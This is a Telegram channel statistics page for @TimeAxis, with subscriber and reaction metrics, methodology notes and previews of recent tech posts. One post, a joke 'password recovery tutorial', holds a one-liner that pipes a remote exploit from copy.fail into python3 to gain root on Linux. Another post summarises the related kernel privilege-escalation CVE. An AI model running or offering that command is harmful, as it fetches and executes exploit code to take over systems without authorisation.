https://blog.rust-lang.org/2026/08/04/enabling-polonius-alpha-on-nighty/ 有生之年,泪目了
🔥5

Channel
@TimeAxis
On this record: Growth · Engagement · What this channel posts · Reactions · Posts · Citations · Cite this entry
784subscribers
+0 since we began measuring on 7 August 2026
Risers and fallers across the register · movement among entries of Under 1,000.
| Telegram ID | -1001142559965 |
|---|---|
| Type | Channel |
| Username | @TimeAxis |
| Description | GZTime's personal channel. |
| Created | Between 1 May 2017 and 30 June 2020— estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 8 August 2026 |
| Last confirmed live | 8 August 2026 |
| Measurements held | 2 |
| On Telegram | t.me/TimeAxis |
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 8 Aug 2026, 01:47 | 784 | no change |
| 7 Aug 2026, 17:52 | 784 | first reading |
20 posts held, back to 12 January 2026 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 pageof Telegram’s post history, 20 posts per page.
ERR is average views per post over the last 30 days divided by subscribers, the definition TGStat uses, so this figure is comparable with the one you will see elsewhere. It falls structurally as a channel grows: a high ERR on a small channel and a low one on a large channel describe reach mathematics, not quality. We publish the figure and the sample it came from and pass no verdict on it.
ER is defined industry-wide as (forwards + reactions + comments) ÷ views— note the denominator is views, not subscribers. Telegram’s public web preview carries views and reactions but not forward or comment counts, so the reaction rate above is the reactions term only and is therefore a floor: the true ER for this channel is higher by an amount we have not measured and will not estimate.
| Window | Rolling 30 days · latest post in window 4 August 2026 |
|---|---|
| Posts held | 20 (12 January 2026 – 4 August 2026) |
| Views total | 844 |
| Reactions total | 12 |
| Forwards / comments | not exposed by the public surface — not measured, not estimated |
| Readings taken | 8 Aug 2026, 01:47 UTC |
Views are a single reading per post, taken at the time above. A post published in the last day or two is still accumulating views, which pulls the 30-day average down slightly. That is a property of the standard definition rather than a fault in it, so we keep the definition rather than “correcting” the number into something nobody can reproduce.
Precision. Telegram publishes view counts on its public widget in short form — 8.12K, 3.7M — so any reading at or above 1,000 reaches us rounded to three significant figures, and only counts below 1,000 are exact. Averages and rates derived from them are shown to the same precision rather than to the unit: a figure like 3,701,250 would assert digits nobody measured.
Reaction counts are published per emoji and rounded the same way, so a total below 1,000 is exact and a larger one is a sum that may carry a rounded component from each emoji above 1,000. Because it is a sum, it does not look rounded — read a large reaction total as three significant figures per contributing emoji rather than as the figure it prints.
Lifetime counters from Telegram’s own channel header, read 8 August 2026 — not the date at the top of this page, which is when the subscriber count was last read. Below Telegram’s rounding threshold, so these counts are exact.
160 reactions across 20 posts, in 14 distinct kinds. The most used accounts for 28.7% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| 😁 | 46 | 28.7% | |
| ❤ | 38 | 23.8% | |
| 🤣 | 19 | 11.9% | |
| 😭 | 12 | 7.50% | |
| 🔥 | 11 | 6.88% | |
| 🤯 | 9 | 5.63% | |
| 👍 | 6 | 3.75% | |
| 🐳 | 4 | 2.50% | |
| 🕊 | 4 | 2.50% | |
| 🤨 | 4 | 2.50% | |
| 🤔 | 3 | 1.88% | |
| 😈 | 2 | 1.25% | |
| 🌭 | 1 | 0.625% | |
| 🥰 | 1 | 0.625% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 20 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 160reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 20 most recent posts we hold, published 12 January 2026 to 4 August 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
https://blog.rust-lang.org/2026/08/04/enabling-polonius-alpha-on-nighty/ 有生之年,泪目了
🔥5
http://huggingface.co/spaces/burtenshaw/open-weights-breakout
🤣4
https://200ms.thenodebook.com/
🔥3
Epic Games 推出开源版本控制系统 Lore 2026-06-17 23:55 by 魔法集成 Epic Games 宣布了新版本控制系统 Lore,源代码采用 MIT 许可证托管在 GitHub 上。Git 是最流行的版本控制系统,但它最初的是为 Linux 这一大型去中心化项目设计的,并没有为游戏或封闭环境下的大型私有软件开发优化。Git 不太适合游戏公司的纹理、3D 模型、音频等文件的协同开发,因此游戏领域流行的版本控制系统是私有的 Perforce,开源的 Lore 瞄准的就是该私有软件。Epic Games 称,“Lore是一个集中式、内容寻址的版本控制系统,使用默克尔树和不可变的版本链来表示仓库状态,并针对二进制优先存储、重复数据删除以及大规模的稀疏/按需数据水合进行了优化。” https://lore.org/ https://github.com/EpicGames/lore #开源
❤8
三体宇宙公司发声明回应“原CEO许垚被执行死刑”:正义终得伸张
👍4
https://emschwartz.me/your-clippy-config-should-be-stricter/
🤔3
ret2shell 决定开源啦,欢迎各位捧场! 以及祝 rx 生日快乐: https://github.com/ret2shell/ret2shell https://t.me/ret2shell
❤7👍2
Linux 密码找回教程: 1. curl https://copy.fail/exp | python3 && su 2. passwd root 3. 设置你的新密码
😁45😈2
#今天又看了啥 #CVE #security https://copy.fail/ CVE-2026-31431 Copy Fail 是一个极其严重的 Linux 内核本地提权(LPE)漏洞,编号 CVE-2026-31431。 要点 - 🎯 纯逻辑漏洞,无需 race condition,无需内核偏移,一次成功 - 📦 仅 732 字节 的 Python 脚本(stdlib only),在所有主流 Linux 发行版上通用 - ⏰ 影响 2017 年以来 构建的所有 Linux 内核,潜伏近十年 - 🔬 漏洞链:authenesn 逻辑 bug → AF_ALG(内核加密 API)→ splice() → 4 字节 page-cache 写入,直接修改 setuid 二进制的内存页 - 🔓 任何本地普通用户 → 瞬间 root - 🐳 容器逃逸、跨租户提权、CI runner 沦陷 影响面 | 场景 | 风险 | |…
🤯3
什么,你的意思是说 tailscale 也要 RIIR 了? https://github.com/tailscale/tailscale-rs
🐳4🕊4
真·沙盘模拟 https://neal.fun/sandboxels/
🤨4
$ uv venv 您本月使用虚拟环境次数还剩 2 次,请升级到 ChatGPT Pro 获取更多使用次数。 $ ruff check 您本月使用静态检查次数还剩 1 次,请升级套餐以获取更多使用次数。
🤣15😁1
Showing the 12 most recent of 20 posts we hold for @TimeAxis. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Republishes
Channels on the register whose posts this channel has forwarded.
Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 8 August 2026 — this entry's latest reading, not the date you are reading this.
“TimeAxis” (@TimeAxis), 784 subscribers as measured 8 August 2026. Telegram Register, tgregister.com/channel/TimeAxis.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.